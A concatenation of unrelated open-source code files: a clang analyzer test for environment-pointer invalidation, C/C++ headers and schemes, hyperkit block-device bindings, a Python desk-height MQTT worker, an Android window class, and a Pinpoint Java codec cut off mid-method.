<reponame>mkinsner/llvm<filename>clang/test/Analysis/cert/env31-c.c // RUN: %clang_analyze_cc1 -analyzer-output=text -Wno-unused %s \ // RUN: -analyzer-checker=core,alpha.security.cert.env.InvalidPtr \ // RUN: -verify=putenv,common \ // RUN: -DENV_INVALIDATING_CALL="putenv(\"X=Y\")" // // RUN: %clang_analyze_cc1 -analyzer-output=text -Wno-unused %s \ // RUN: -analyzer-checker=core,alpha.security.cert.env.InvalidPtr \ // RUN: -verify=putenvs,common \ // RUN: -DENV_INVALIDATING_CALL="_putenv_s(\"X\", \"Y\")" // // RUN: %clang_analyze_cc1 -analyzer-output=text -Wno-unused %s \ // RUN: -analyzer-checker=core,alpha.security.cert.env.InvalidPtr \ // RUN: -verify=wputenvs,common \ // RUN: -DENV_INVALIDATING_CALL="_wputenv_s(\"X\", \"Y\")" // // RUN: %clang_analyze_cc1 -analyzer-output=text -Wno-unused %s \ // RUN: -analyzer-checker=core,alpha.security.cert.env.InvalidPtr \ // RUN: -verify=setenv,common \ // RUN: -DENV_INVALIDATING_CALL="setenv(\"X\", \"Y\", 0)" // // RUN: %clang_analyze_cc1 -analyzer-output=text -Wno-unused %s \ // RUN: -analyzer-checker=core,alpha.security.cert.env.InvalidPtr \ // RUN: -verify=unsetenv,common \ // RUN: -DENV_INVALIDATING_CALL="unsetenv(\"X\")" typedef int errno_t; typedef char wchar_t; int putenv(char *string); errno_t _putenv_s(const char *varname, const char *value_string); errno_t _wputenv_s(const wchar_t *varname, const wchar_t *value_string); int setenv(const char *name, const char *value, int overwrite); int unsetenv(const char *name); void fn_without_body(char **e); void fn_with_body(char **e) {} void call_env_invalidating_fn(char **e) { ENV_INVALIDATING_CALL; // putenv-note@-1 5 {{'putenv' call may invalidate the environment parameter of 'main'}} // putenvs-note@-2 5 {{'_putenv_s' call may invalidate the environment parameter of 'main'}} // wputenvs-note@-3 5 {{'_wputenv_s' call may invalidate the environment parameter of 'main'}} // setenv-note@-4 5 {{'setenv' call may invalidate the environment parameter of 'main'}} // unsetenv-note@-5 5 {{'unsetenv' call may invalidate the environment parameter of 'main'}} *e; // common-warning@-1 {{dereferencing an invalid pointer}} // common-note@-2 {{dereferencing an invalid pointer}} } int main(int argc, char *argv[], char *envp[]) { char **e = envp; *e; // no-warning e[0]; // no-warning *envp; // no-warning call_env_invalidating_fn(e); // common-note@-1 5 {{Calling 'call_env_invalidating_fn'}} // common-note@-2 4 {{Returning from 'call_env_invalidating_fn'}} *e; // common-warning@-1 {{dereferencing an invalid pointer}} // common-note@-2 {{dereferencing an invalid pointer}} *envp; // common-warning@-1 2 {{dereferencing an invalid pointer}} // common-note@-2 2 {{dereferencing an invalid pointer}} fn_without_body(e); // common-warning@-1 {{use of invalidated pointer 'e' in a function call}} // common-note@-2 {{use of invalidated pointer 'e' in a function call}} fn_with_body(e); // no-warning }
1,396
303
<reponame>miahmie/krkrz<gh_stars>100-1000 /* see copyright notice in squirrel.h */ #ifndef _SQSTD_MATH_H_ #define _SQSTD_MATH_H_ #ifdef __cplusplus extern "C" { #endif SQUIRREL_API SQRESULT sqstd_register_mathlib(HSQUIRRELVM v); #ifdef __cplusplus } /*extern "C"*/ #endif #endif /*_SQSTD_MATH_H_*/
141
778
// | / | // ' / __| _` | __| _ \ __| // . \ | ( | | ( |\__ ` // _|\_\_| \__,_|\__|\___/ ____/ // Multi-Physics // // License: BSD License // Kratos default license: kratos/license.txt // // Project Name: $StructuralMechanicsApplication $ // Last modified by: $Author: <EMAIL> $ // Date: $Date: September 2016 $ // Revision: $Revision: 0.0 $ #if !defined(KRATOS_EIGENSOLVER_DYNAMIC_SCHEME ) #define KRATOS_EIGENSOLVER_DYNAMIC_SCHEME // System includes // External includes // Project includes #include "includes/define.h" #include "includes/element.h" #include "includes/condition.h" #include "includes/process_info.h" #include "includes/ublas_interface.h" #include "solving_strategies/schemes/scheme.h" // Application includes #include "structural_mechanics_application_variables.h" namespace Kratos { ///@name Kratos Globals ///@{ ///@} ///@name Type Definitions ///@{ ///@} ///@name Enum's ///@{ ///@} ///@name Functions ///@{ ///@} ///@name Kratos Classes ///@{ /// An adapter scheme for obtaining mass and stiffness matrices for dynamic eigenvalue problems. template<class TSparseSpace, class TDenseSpace > class EigensolverDynamicScheme : public Scheme<TSparseSpace,TDenseSpace> { public: ///@name Type Definitions ///@{ KRATOS_CLASS_POINTER_DEFINITION( EigensolverDynamicScheme ); typedef Scheme<TSparseSpace,TDenseSpace> BaseType; typedef typename BaseType::LocalSystemVectorType LocalSystemVectorType; typedef typename BaseType::LocalSystemMatrixType LocalSystemMatrixType; ///@} ///@name Life Cycle ///@{ /// Constructor. EigensolverDynamicScheme() : Scheme<TSparseSpace,TDenseSpace>() {} /// Destructor. ~EigensolverDynamicScheme() override {} ///@} ///@name Operators ///@{ ///@} ///@name Operations ///@{ void CalculateSystemContributions( Element& rCurrentElement, LocalSystemMatrixType& LHS_Contribution, LocalSystemVectorType& RHS_Contribution, Element::EquationIdVectorType& EquationId, const ProcessInfo& CurrentProcessInfo ) override { KRATOS_TRY if (CurrentProcessInfo[BUILD_LEVEL] == 1) { // mass matrix rCurrentElement.CalculateMassMatrix(LHS_Contribution,CurrentProcessInfo); std::size_t LocalSize = LHS_Contribution.size1(); if (RHS_Contribution.size() != LocalSize) RHS_Contribution.resize(LocalSize,false); noalias(RHS_Contribution) = ZeroVector(LocalSize); } else if (CurrentProcessInfo[BUILD_LEVEL] == 2) // stiffness matrix { rCurrentElement.CalculateLocalSystem(LHS_Contribution,RHS_Contribution,CurrentProcessInfo); } else { KRATOS_ERROR <<"Invalid BUILD_LEVEL" << std::endl; } rCurrentElement.EquationIdVector(EquationId,CurrentProcessInfo); KRATOS_CATCH("") } void CalculateLHSContribution( Element& rCurrentElement, LocalSystemMatrixType& LHS_Contribution, Element::EquationIdVectorType& EquationId, const ProcessInfo& CurrentProcessInfo) override { KRATOS_TRY LocalSystemVectorType RHS_Contribution; RHS_Contribution.resize(LHS_Contribution.size1(), false); CalculateSystemContributions( rCurrentElement, LHS_Contribution, RHS_Contribution, EquationId, CurrentProcessInfo); KRATOS_CATCH("") } void CalculateRHSContribution( Element& rCurrentElement, LocalSystemVectorType& RHS_Contribution, Element::EquationIdVectorType& EquationId, const ProcessInfo& CurrentProcessInfo) override { KRATOS_TRY rCurrentElement.CalculateRightHandSide(RHS_Contribution,CurrentProcessInfo); rCurrentElement.EquationIdVector(EquationId,CurrentProcessInfo); KRATOS_CATCH("") } void CalculateSystemContributions( Condition& rCurrentCondition, LocalSystemMatrixType& LHS_Contribution, LocalSystemVectorType& RHS_Contribution, Condition::EquationIdVectorType& EquationId, const ProcessInfo& CurrentProcessInfo) override { KRATOS_TRY if (CurrentProcessInfo[BUILD_LEVEL] == 1) { // mass matrix rCurrentCondition.CalculateMassMatrix(LHS_Contribution,CurrentProcessInfo); std::size_t LocalSize = LHS_Contribution.size1(); if (RHS_Contribution.size() != LocalSize) { RHS_Contribution.resize(LocalSize,false); } noalias(RHS_Contribution) = ZeroVector(LocalSize); } else if (CurrentProcessInfo[BUILD_LEVEL] == 2) // stiffness matrix { rCurrentCondition.CalculateLocalSystem(LHS_Contribution,RHS_Contribution,CurrentProcessInfo); } else { KRATOS_ERROR <<"Invalid BUILD_LEVEL" << std::endl; } rCurrentCondition.EquationIdVector(EquationId,CurrentProcessInfo); KRATOS_CATCH("") } void CalculateLHSContribution( Condition& rCurrentCondition, LocalSystemMatrixType& LHS_Contribution, Condition::EquationIdVectorType& EquationId, const ProcessInfo& CurrentProcessInfo) override { KRATOS_TRY LocalSystemVectorType RHS_Contribution; RHS_Contribution.resize(LHS_Contribution.size1(), false); CalculateSystemContributions( rCurrentCondition, LHS_Contribution, RHS_Contribution, EquationId, CurrentProcessInfo); KRATOS_CATCH("") } void CalculateRHSContribution( Condition& rCurrentCondition, LocalSystemVectorType& RHS_Contribution, Element::EquationIdVectorType& EquationId, const ProcessInfo& CurrentProcessInfo) override { KRATOS_TRY rCurrentCondition.CalculateRightHandSide(RHS_Contribution,CurrentProcessInfo); rCurrentCondition.EquationIdVector(EquationId,CurrentProcessInfo); KRATOS_CATCH("") } ///@} }; /* Class Scheme */ ///@} ///@name Type Definitions ///@{ ///@} } /* namespace Kratos.*/ #endif /* KRATOS_EIGENSOLVER_DYNAMIC_SCHEME defined */
2,839
714
<filename>vendor/github.com/zchee/libhyperkit/mirage_block_c.c<gh_stars>100-1000 // +build qcow2 #include <stdlib.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <sys/stat.h> #include <caml/alloc.h> #include <caml/threads.h> #include <caml/mlvalues.h> #include <caml/memory.h> #include <caml/callback.h> #include <caml/bigarray.h> #include "mirage_block_c.h" void mirage_block_register_thread(){ caml_c_thread_register(); } void mirage_block_unregister_thread(){ caml_c_thread_unregister(); } /* Convenience macro to cache the OCaml callback and immediately abort() if it can't be found -- this would indicate a fundamental linking error. */ #define OCAML_NAMED_FUNCTION(name) \ static value *fn = NULL; \ if (fn == NULL) { \ fn = caml_named_value(name); \ } \ if (fn == NULL) { \ fprintf(stderr, "Callback.register for " name " not called: are all objects linked?\n"); \ abort(); \ } /* Every call has 2 C functions: 1. static void ocaml_FOO: using the CAMLparam/CAMLreturn macros. This assumes the runtime system lock is held. Errors are propagated back by out parameters, since we must use CAMLreturn and yet we cannot use CAMLreturn for regular C values. 2. plain C FOO: this acquires the runtime lock and calls the ocaml_FOO function. An alternative design would be to use Begin_roots and End_roots after acquiring the runtime lock. */ static void ocaml_mirage_block_open(const char *config, int *out, int *err) { CAMLparam0(); CAMLlocal2(ocaml_config, handle); ocaml_config = caml_copy_string(config); OCAML_NAMED_FUNCTION("mirage_block_open") handle = caml_callback_exn(*fn, ocaml_config); if (Is_exception_result(handle)){ *err = 1; } else { *err = 0; *out = Int_val(handle); } CAMLreturn0; } mirage_block_handle mirage_block_open(const char *config) { int result; int err = 1; caml_acquire_runtime_system(); ocaml_mirage_block_open(config, &result, &err); caml_release_runtime_system(); if (err){ errno = EINVAL; return (-1); } else { return result; } } static void ocaml_mirage_block_stat(mirage_block_handle h, struct stat *out, int *err) { CAMLparam0(); CAMLlocal2(ocaml_handle, result); ocaml_handle = Val_int(h); OCAML_NAMED_FUNCTION("mirage_block_stat") result = caml_callback_exn(*fn, ocaml_handle); int read_write = Int_val(Field(result, 0)) != 0; unsigned int sector_size = (unsigned int)Int_val(Field(result, 1)); uint64_t size_sectors = (uint64_t)Int64_val(Field(result, 2)); if (Is_exception_result(result)){ *err = 1; } else { *err = 0; bzero(out, sizeof(struct stat)); out->st_dev = 0; out->st_ino = 0; out->st_mode = S_IFREG | S_IROTH | S_IRGRP | S_IRUSR | (read_write?(S_IWOTH | S_IWGRP | S_IWUSR): 0); out->st_nlink = 1; out->st_uid = 0; out->st_gid = 0; out->st_rdev = 0; out->st_size = (off_t)(sector_size * size_sectors); out->st_blocks = (blkcnt_t)size_sectors; out->st_blksize = (blksize_t)sector_size; out->st_flags = 0; out->st_gen = 0; } CAMLreturn0; } int mirage_block_stat(mirage_block_handle h, struct stat *buf) { int err = 1; caml_acquire_runtime_system(); ocaml_mirage_block_stat(h, buf, &err); caml_release_runtime_system(); if (err){ errno = EINVAL; return (-1); } else { return 0; } } static void ocaml_mirage_block_close(int handle, int *err) { CAMLparam0(); CAMLlocal2(ocaml_handle, result); ocaml_handle = Val_int(handle); OCAML_NAMED_FUNCTION("mirage_block_close") result = caml_callback_exn(*fn, ocaml_handle); *err = 0; if (Is_exception_result(result)){ *err = 1; } CAMLreturn0; } int mirage_block_close(int handle){ int err = 1; caml_acquire_runtime_system(); ocaml_mirage_block_close(handle, &err); caml_release_runtime_system(); return err; } static void ocaml_mirage_block_preadv(const int handle, const struct iovec *iov, int iovcnt, off_t ofs, ssize_t *out, int *err) { CAMLparam0(); CAMLlocal4(ocaml_handle, ocaml_bufs, ocaml_ofs, ocaml_result); ocaml_handle = Val_int(handle); ocaml_bufs = caml_alloc_tuple((mlsize_t)iovcnt); ocaml_ofs = Val_int(ofs); for (int i = 0; i < iovcnt; i++ ){ Store_field(ocaml_bufs, (mlsize_t)i, caml_ba_alloc_dims(CAML_BA_CHAR | CAML_BA_C_LAYOUT, 1, (*(iov+i)).iov_base, (*(iov+i)).iov_len)); } OCAML_NAMED_FUNCTION("mirage_block_preadv") ocaml_result = caml_callback3_exn(*fn, ocaml_handle, ocaml_bufs, ocaml_ofs); if (Is_exception_result(ocaml_result)) { *err = 1; } else { *err = 0; *out = Int_val(ocaml_result); } CAMLreturn0; } ssize_t mirage_block_preadv(mirage_block_handle h, const struct iovec *iov, int iovcnt, off_t offset) { ssize_t len; int err = 1; caml_acquire_runtime_system(); ocaml_mirage_block_preadv(h, iov, iovcnt, offset, &len, &err); caml_release_runtime_system(); if (err){ errno = EINVAL; return (-1); } return len; } static void ocaml_mirage_block_pwritev(const int handle, const struct iovec *iov, int iovcnt, off_t ofs, ssize_t *out, int *err) { CAMLparam0(); CAMLlocal4(ocaml_handle, ocaml_bufs, ocaml_ofs, ocaml_result); ocaml_handle = Val_int(handle); ocaml_bufs = caml_alloc_tuple((mlsize_t)iovcnt); ocaml_ofs = Val_int(ofs); for (int i = 0; i < iovcnt; i++ ){ Store_field(ocaml_bufs, (mlsize_t)i, caml_ba_alloc_dims(CAML_BA_CHAR | CAML_BA_C_LAYOUT, 1, (*(iov+i)).iov_base, (*(iov+i)).iov_len)); } OCAML_NAMED_FUNCTION("mirage_block_pwritev") ocaml_result = caml_callback3_exn(*fn, ocaml_handle, ocaml_bufs, ocaml_ofs); if (Is_exception_result(ocaml_result)) { *err = 1; } else { *err = 0; *out = Int_val(ocaml_result); } CAMLreturn0; } ssize_t mirage_block_pwritev(mirage_block_handle h, const struct iovec *iov, int iovcnt, off_t offset) { ssize_t len; int err = 1; caml_acquire_runtime_system(); ocaml_mirage_block_pwritev(h, iov, iovcnt, offset, &len, &err); caml_release_runtime_system(); if (err){ errno = EINVAL; return (-1); } return len; } static void ocaml_mirage_block_flush(int handle, int *err) { CAMLparam0(); CAMLlocal2(ocaml_handle, result); ocaml_handle = Val_int(handle); OCAML_NAMED_FUNCTION("mirage_block_flush") result = caml_callback_exn(*fn, ocaml_handle); *err = 0; if (Is_exception_result(result)){ errno = EINVAL; *err = 1; } CAMLreturn0; } int mirage_block_flush(int handle){ int err = 1; caml_acquire_runtime_system(); ocaml_mirage_block_flush(handle, &err); caml_release_runtime_system(); return err; }
2,825
479
from interruptingcow import timeout import logger from exceptions import DeviceTimeoutError from mqtt import MqttMessage from workers.base import BaseWorker _LOGGER = logger.get(__name__) REQUIREMENTS = [ "git+https://github.com/zewelor/linak_bt_desk.git@aa9412f98b3044<PASSWORD>4c70e89d02721e6813ea731#egg=linakdpgbt" ] class LinakdeskWorker(BaseWorker): SCAN_TIMEOUT = 20 def _setup(self): from linak_dpg_bt import LinakDesk self.desk = LinakDesk(self.mac) def status_update(self): return [ MqttMessage( topic=self.format_topic("height/cm"), payload=self._get_height() ) ] def _get_height(self): from bluepy import btle with timeout( self.SCAN_TIMEOUT, exception=DeviceTimeoutError( "Retrieving the height from {} device {} timed out after {} seconds".format( repr(self), self.mac, self.SCAN_TIMEOUT ) ), ): try: self.desk.read_dpg_data() return self.desk.current_height_with_offset.cm except btle.BTLEException as e: logger.log_exception( _LOGGER, "Error during update of linak desk '%s' (%s): %s", repr(self), self.mac, type(e).__name__, suppress=True, ) raise DeviceTimeoutError
795
654
package wei.mark.example; import wei.mark.standout.StandOutWindow; import wei.mark.standout.ui.Window; import android.graphics.Color; import android.widget.FrameLayout; import android.widget.TextView; public class MostBasicWindow extends StandOutWindow { @Override public String getAppName() { return "MostBasicWindow"; } @Override public int getAppIcon() { return android.R.drawable.btn_star; } @Override public void createAndAttachView(int id, FrameLayout frame) { TextView view = new TextView(this); view.setText("MostBasicWindow"); view.setBackgroundColor(Color.CYAN); frame.addView(view); } @Override public StandOutLayoutParams getParams(int id, Window window) { return new StandOutLayoutParams(id, 200, 150, 100, 100); } }
256
1,473
/* * Copyright 2020 NAVER Corp. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.navercorp.pinpoint.common.server.bo.codec.stat.v2; import com.navercorp.pinpoint.common.buffer.Buffer; import com.navercorp.pinpoint.common.server.bo.codec.stat.AgentStatCodec; import com.navercorp.pinpoint.common.server.bo.codec.stat.AgentStatDataPointCodec; import com.navercorp.pinpoint.common.server.bo.codec.stat.header.AgentStatHeaderDecoder; import com.navercorp.pinpoint.common.server.bo.codec.stat.header.AgentStatHeaderEncoder; import com.navercorp.pinpoint.common.server.bo.codec.stat.header.BitCountingHeaderDecoder; import com.navercorp.pinpoint.common.server.bo.codec.stat.header.BitCountingHeaderEncoder; import com.navercorp.pinpoint.common.server.bo.codec.stat.strategy.StrategyAnalyzer; import com.navercorp.pinpoint.common.server.bo.codec.stat.strategy.StringEncodingStrategy; import com.navercorp.pinpoint.common.server.bo.codec.stat.strategy.UnsignedIntegerEncodingStrategy; import com.navercorp.pinpoint.common.server.bo.codec.stat.strategy.UnsignedLongEncodingStrategy; import com.navercorp.pinpoint.common.server.bo.codec.strategy.EncodingStrategy; import com.navercorp.pinpoint.common.server.bo.serializer.stat.AgentStatDecodingContext; import com.navercorp.pinpoint.common.server.bo.serializer.stat.AgentStatUtils; import com.navercorp.pinpoint.common.server.bo.stat.EachUriStatBo; import com.navercorp.pinpoint.common.server.bo.stat.UriStatHistogram; import java.util.ArrayList; import java.util.LinkedList; import java.util.List; import java.util.Objects; import java.util.Queue; /** * @author <NAME> */ public class EachUriStatCodecV2 implements AgentStatCodec<EachUriStatBo> { private static final byte VERSION = 2; private final AgentStatDataPointCodec codec; public EachUriStatCodecV2(AgentStatDataPointCodec codec) { this.codec = Objects.requireNonNull(codec, "codec"); } @Override public byte getVersion() { return VERSION; } @Override public void encodeValues(Buffer valueBuffer, List<EachUriStatBo> eachUriStatBoList) { EachUriStatBoCodecEncoder eachUriStatBoCodecEncoder = new EachUriStatBoCodecEncoder(codec); for (EachUriStatBo eachUriStatBo : eachUriStatBoList) { eachUriStatBoCodecEncoder.addValue(eachUriStatBo); } eachUriStatBoCodecEncoder.encode(valueBuffer); } @Override public List<EachUriStatBo> decodeValues(Buffer valueBuffer, AgentStatDecodingContext decodingContext) { final int numValues = valueBuffer.readVInt(); final byte[] header = valueBuffer.readPrefixedBytes(); AgentStatHeaderDecoder headerDecoder = new BitCountingHeaderDecoder(header); EachUriStatBoCodecDecoder eachUriStatBoCodecDecoder = new EachUriStatBoCodecDecoder(codec); eachUriStatBoCodecDecoder.decode(valueBuffer, headerDecoder, numValues); List<EachUriStatBo> eachUriStatBoList = new ArrayList<>(numValues); for (int i = 0; i < numValues; i++) { EachUriStatBo eachUriStatBo = eachUriStatBoCodecDecoder.getValue(i); eachUriStatBoList.add(eachUriStatBo); } return eachUriStatBoList; } private static class EachUriStatBoCodecEncoder implements AgentStatCodec.CodecEncoder<EachUriStatBo> { private final AgentStatDataPointCodec codec; private final StringEncodingStrategy.Analyzer.Builder uriAnalyzerBuilder = new StringEncodingStrategy.Analyzer.Builder(); private final UnsignedIntegerEncodingStrategy.Analyzer.Builder histogramCountAnalyzerBuilder = new UnsignedIntegerEncodingStrategy.Analyzer.Builder(); private final UnsignedIntegerEncodingStrategy.Analyzer.Builder countAnalyzerBuilder = new UnsignedIntegerEncodingStrategy.Analyzer.Builder(); private final UnsignedLongEncodingStrategy.Analyzer.Builder avgAnalyzerBuilder = new UnsignedLongEncodingStrategy.Analyzer.Builder(); private final UnsignedLongEncodingStrategy.Analyzer.Builder maxAnalyzerBuilder = new UnsignedLongEncodingStrategy.Analyzer.Builder(); private final UnsignedIntegerEncodingStrategy.Analyzer.Builder under100BucketCountAnalyzerBuilder = new UnsignedIntegerEncodingStrategy.Analyzer.Builder(); private final UnsignedIntegerEncodingStrategy.Analyzer.Builder range100to300BucketCountAnalyzerBuilder = new UnsignedIntegerEncodingStrategy.Analyzer.Builder(); private final UnsignedIntegerEncodingStrategy.Analyzer.Builder range300to500BucketCountAnalyzerBuilder = new UnsignedIntegerEncodingStrategy.Analyzer.Builder(); private final UnsignedIntegerEncodingStrategy.Analyzer.Builder range500to1000BucketCountAnalyzerBuilder = new UnsignedIntegerEncodingStrategy.Analyzer.Builder(); private final UnsignedIntegerEncodingStrategy.Analyzer.Builder range1000to3000BucketCountAnalyzerBuilder = new UnsignedIntegerEncodingStrategy.Analyzer.Builder(); private final UnsignedIntegerEncodingStrategy.Analyzer.Builder range3000to5000BucketCountAnalyzerBuilder = new UnsignedIntegerEncodingStrategy.Analyzer.Builder(); private final UnsignedIntegerEncodingStrategy.Analyzer.Builder range5000to8000BucketCountAnalyzerBuilder = new UnsignedIntegerEncodingStrategy.Analyzer.Builder(); private final UnsignedIntegerEncodingStrategy.Analyzer.Builder over8000BucketCountAnalyzerBuilder = new UnsignedIntegerEncodingStrategy.Analyzer.Builder(); public EachUriStatBoCodecEncoder(AgentStatDataPointCodec codec) { this.codec = Objects.requireNonNull(codec, "codec"); } @Override public void addValue(EachUriStatBo eachUriStatBo) { uriAnalyzerBuilder.addValue(eachUriStatBo.getUri()); int histogramCount = getHistogramCount(eachUriStatBo); histogramCountAnalyzerBuilder.addValue(histogramCount); UriStatHistogram totalHistogram = eachUriStatBo.getTotalHistogram(); addValue(totalHistogram); UriStatHistogram failedHistogram = eachUriStatBo.getFailedHistogram(); addValue(failedHistogram); } private void addValue(UriStatHistogram uriStatHistogram) { if (uriStatHistogram == null || uriStatHistogram.getCount() == 0) { return; } countAnalyzerBuilder.addValue(uriStatHistogram.getCount()); avgAnalyzerBuilder.addValue(AgentStatUtils.convertDoubleToLong(uriStatHistogram.getAvg())); maxAnalyzerBuilder.addValue(uriStatHistogram.getMax()); int[] timestampHistogram = uriStatHistogram.getTimestampHistogram(); under100BucketCountAnalyzerBuilder.addValue(timestampHistogram[0]); range100to300BucketCountAnalyzerBuilder.addValue(timestampHistogram[1]); range300to500BucketCountAnalyzerBuilder.addValue(timestampHistogram[2]); range500to1000BucketCountAnalyzerBuilder.addValue(timestampHistogram[3]); range1000to3000BucketCountAnalyzerBuilder.addValue(timestampHistogram[4]); range3000to5000BucketCountAnalyzerBuilder.addValue(timestampHistogram[5]); range5000to8000BucketCountAnalyzerBuilder.addValue(timestampHistogram[6]); over8000BucketCountAnalyzerBuilder.addValue(timestampHistogram[7]); } private int getHistogramCount(EachUriStatBo eachUriStatBo) { UriStatHistogram failedHistogram = eachUriStatBo.getFailedHistogram(); if (failedHistogram == null || failedHistogram.getCount() == 0) { return 1; } return 2; } @Override public void encode(Buffer valueBuffer) { final List<StrategyAnalyzer> strategyAnalyzerList = getAnalyzerList(); AgentStatHeaderEncoder headerEncoder = new BitCountingHeaderEncoder(); for (StrategyAnalyzer strategyAnalyzer : strategyAnalyzerList) { headerEncoder.addCode(strategyAnalyzer.getBestStrategy().getCode()); } final byte[] header = headerEncoder.getHeader(); valueBuffer.putPrefixedBytes(header); for (StrategyAnalyzer strategyAnalyzer : strategyAnalyzerList) { this.codec.encodeValues(valueBuffer, strategyAnalyzer.getBestStrategy(), strategyAnalyzer.getValues()); } } private List<StrategyAnalyzer> getAnalyzerList() { List<StrategyAnalyzer> strategyAnalyzerList = new ArrayList<>(); strategyAnalyzerList.add(uriAnalyzerBuilder.build()); strategyAnalyzerList.add(histogramCountAnalyzerBuilder.build()); strategyAnalyzerList.add(countAnalyzerBuilder.build()); strategyAnalyzerList.add(avgAnalyzerBuilder.build()); strategyAnalyzerList.add(maxAnalyzerBuilder.build()); strategyAnalyzerList.add(under100BucketCountAnalyzerBuilder.build()); strategyAnalyzerList.add(range100to300BucketCountAnalyzerBuilder.build()); strategyAnalyzerList.add(range300to500BucketCountAnalyzerBuilder.build()); strategyAnalyzerList.add(range500to1000BucketCountAnalyzerBuilder.build()); strategyAnalyzerList.add(range1000to3000BucketCountAnalyzerBuilder.build()); strategyAnalyzerList.add(range3000to5000BucketCountAnalyzerBuilder.build()); strategyAnalyzerList.add(range5000to8000BucketCountAnalyzerBuilder.build()); strategyAnalyzerList.add(over8000BucketCountAnalyzerBuilder.build()); return strategyAnalyzerList; } } private static class EachUriStatBoCodecDecoder implements AgentStatCodec.CodecDecoder<EachUriStatBo> { private final AgentStatDataPointCodec codec; private List<String> uriList; private List<Integer> histogramCountList; private Queue<UriStatHistogram> uriStatHistogramQueue; public EachUriStatBoCodecDecoder(AgentStatDataPointCodec codec) { this.codec = Objects.requireNonNull(codec, "codec"); } @Override public void decode(Buffer valueBuffer, AgentStatHeaderDecoder headerDecoder, int valueSize) { EncodingStrategy<String> uriEncodingStrategy = StringEncodingStrategy.getFromCode(headerDecoder.getCode()); EncodingStrategy<Integer> histogramCountEncodingStrategy = UnsignedIntegerEncodingStrategy.getFromCode(headerDecoder.getCode()); this.uriList = this.codec.decodeValues(valueBuffer, uriEncodingStrategy, valueSize); this.histogramCountList = this.codec.decodeValues(valueBuffer, histogramCountEncodingStrategy, valueSize); int totalHistogramCount = 0; for (Integer histogramCount : histogramCountList) { totalHistogramCount += histogramCount; } this.uriStatHistogramQueue = decodeUriStatHistogramList(valueBuffer, headerDecoder, totalHistogramCount); } private Queue<UriStatHistogram> decodeUriStatHistogramList(Buffer valueBuffer, AgentStatHeaderDecoder headerDecoder, int valueSize) { EncodingStrategy<Integer> countAnalyzerEncodingStrategy = UnsignedIntegerEncodingStrategy.getFromCode(headerDecoder.getCode()); EncodingStrategy<Long> avgAnalyzerEncodingStrategy = UnsignedLongEncodingStrategy.getFromCode(headerDecoder.getCode()); EncodingStrategy<Long> maxAnalyzerEncodingStrategy = UnsignedLongEncodingStrategy.getFromCode(headerDecoder.getCode()); EncodingStrategy<Integer> under100BucketCountAnalyzerEncodingStrategy = UnsignedIntegerEncodingStrategy.getFromCode(headerDecoder.getCode()); EncodingStrategy<Integer> range100to300BucketCountAnalyzerEncodingStrategy = UnsignedIntegerEncodingStrategy.getFromCode(headerDecoder.getCode()); EncodingStrategy<Integer> range300to500BucketCountAnalyzerEncodingStrategy = UnsignedIntegerEncodingStrategy.getFromCode(headerDecoder.getCode()); EncodingStrategy<Integer> range500to1000BucketCountAnalyzerEncodingStrategy = UnsignedIntegerEncodingStrategy.getFromCode(headerDecoder.getCode()); EncodingStrategy<Integer> range1000to3000BucketCountAnalyzerEncodingStrategy = UnsignedIntegerEncodingStrategy.getFromCode(headerDecoder.getCode()); EncodingStrategy<Integer> range3000to5000BucketCountAnalyzerEncodingStrategy = UnsignedIntegerEncodingStrategy.getFromCode(headerDecoder.getCode()); EncodingStrategy<Integer> range5000to8000BucketCountAnalyzerEncodingStrategy = UnsignedIntegerEncodingStrategy.getFromCode(headerDecoder.getCode()); EncodingStrategy<Integer> over8000BucketCountAnalyzerEncodingStrategy = UnsignedIntegerEncodingStrategy.getFromCode(headerDecoder.getCode()); List<Integer> countList = this.codec.decodeValues(valueBuffer, countAnalyzerEncodingStrategy, valueSize); List<Long> avgList = this.codec.decodeValues(valueBuffer, avgAnalyzerEncodingStrategy, valueSize); List<Long> maxList = this.codec.decodeValues(valueBuffer, maxAnalyzerEncodingStrategy, valueSize); List<Integer> under100BucketCountList = this.codec.decodeValues(valueBuffer, under100BucketCountAnalyzerEncodingStrategy, valueSize); List<Integer> range100to300BucketCountList = this.codec.decodeValues(valueBuffer, range100to300BucketCountAnalyzerEncodingStrategy, valueSize); List<Integer> range300to500BucketCountList = this.codec.decodeValues(valueBuffer, range300to500BucketCountAnalyzerEncodingStrategy, valueSize); List<Integer> range500to1000BucketCountList = this.codec.decodeValues(valueBuffer, range500to1000BucketCountAnalyzerEncodingStrategy, valueSize); List<Integer> range1000to3000BucketCountList = this.codec.decodeValues(valueBuffer, range1000to3000BucketCountAnalyzerEncodingStrategy, valueSize); List<Integer> range3000to5000BucketCountList = this.codec.decodeValues(valueBuffer, range3000to5000BucketCountAnalyzerEncodingStrategy, valueSize); List<Integer> range5000to8000BucketCountList = this.codec.decodeValues(valueBuffer, range5000to8000BucketCountAnalyzerEncodingStrategy, valueSize); List<Integer> over8000BucketCountList = this.codec.decodeValues(valueBuffer, over8000BucketCountAnalyzerEncodingStrategy, valueSize); Queue<UriStatHistogram> uriStatHistogramQueue = new LinkedList<>(); for (int i = 0; i < valueSize; i++) { UriStatHistogram uriStatHistogram = new UriStatHistogram(); final Integer count = countList.get(i); uriStatHistogram.setCount(count); final Long avg = avgList.get(i); uriStatHistogram.setAvg(AgentStatUtils.convertLongToDouble(avg)); final Long max = maxList.get(i); uriStatHistogram.setMax(max); final int[] timestampHistograms = new int[]{under100BucketCountList.get(i), range100to300BucketCountList.get(i), range300to500BucketCountList.get(i), range500to1000BucketCountList.get(i), range1000to3000BucketCountList.get(i), range3000to5000BucketCountList.get(i), range5000to8000BucketCountList.get(i), over8000BucketCountList.get(i)}; uriStatHistogram.setTimestampHistogram(timestampHistograms); uriStatHistogramQueue.add(uriStatHistogram); } return uriStatHistogramQueue; } @Override public EachUriStatBo getValue(int index) { String uri = uriList.get(index); Integer histogramCount = histogramCountList.get(index); EachUriStatBo eachUriStatBo = new EachUriStatBo(); eachUriStatBo.setUri(uri); UriStatHistogram totalHistogramCount = uriStatHistogramQueue.poll(); eachUriStatBo.setTotalHistogram(totalHistogramCount); if (histogramCount == 2) { UriStatHistogram failedHistogramCount = uriStatHistogramQueue.poll(); 